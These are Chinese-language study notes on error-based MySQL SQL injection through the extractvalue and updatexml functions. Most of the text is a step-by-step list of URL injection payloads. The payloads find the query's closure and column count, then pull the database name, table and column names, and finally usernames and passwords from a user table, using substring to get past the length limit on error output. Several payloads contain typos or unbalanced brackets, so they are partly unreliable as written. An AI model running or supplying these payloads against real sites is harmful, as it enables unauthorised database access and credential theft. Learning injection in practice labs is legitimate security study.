1.使用extractvalue查询xml里面的内容
select extractvalue(列名,'路径')from xml;
查询路径写错查不到东西,但不会报错
格式写错,提升报错信息
路径是/开头
列名可以随便写
或updatexml
函数uodatexml(xml_document,xpath_string,new_value)
参数一 是xml文档对象名称
参数二是路径
参数三是替换查找符合条件的数据
报错原理同extractvalue相同
输错第二个参数
2.concat拼接
concat(1,2)=12
?id=100' union select 1,extractvalue(concat(0x7e,(select database()))),3 --+
?id=100' and 1=extractvalue(1,concat(0x7e,(select database()))) --+
3.路径前加~报错
4.substring函数或substr
substring(内容,起始位,位数)
(1)
闭合方式 id=1' and 1=2--+无查询结果
(2)
列数id=1' group by 3--+
(3)
---union select 1,2,datadase()
(4)
?id=1' union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name))from information_schema.tables where table_schema=database()))),3 --+
(5)
?id=1' union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name))from information_schema.columns where table_schema=database() and table_name='user‘表名))),3 --+
(6)
?id=1' union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name))from information_schema.columns where table_schema=database() and table_name='user‘表名))),3 --+
(7)
?id=1' union select 1,extractvalue(1,concat(0x7e,(select group_concat(username,'~',password))from user))) --+
使用函数substring解决只能返回32个字符串问题
(8)
?id=1' union select 1,extractvalue(1,concat(0x7e,(select substring(group_concat(username,'~',password),25,30))from user))) --+
或者
?id=1" and 1=updatexml(1,concat('~',(select substring(group_concat(username,password),1,30)) from users)),2)--+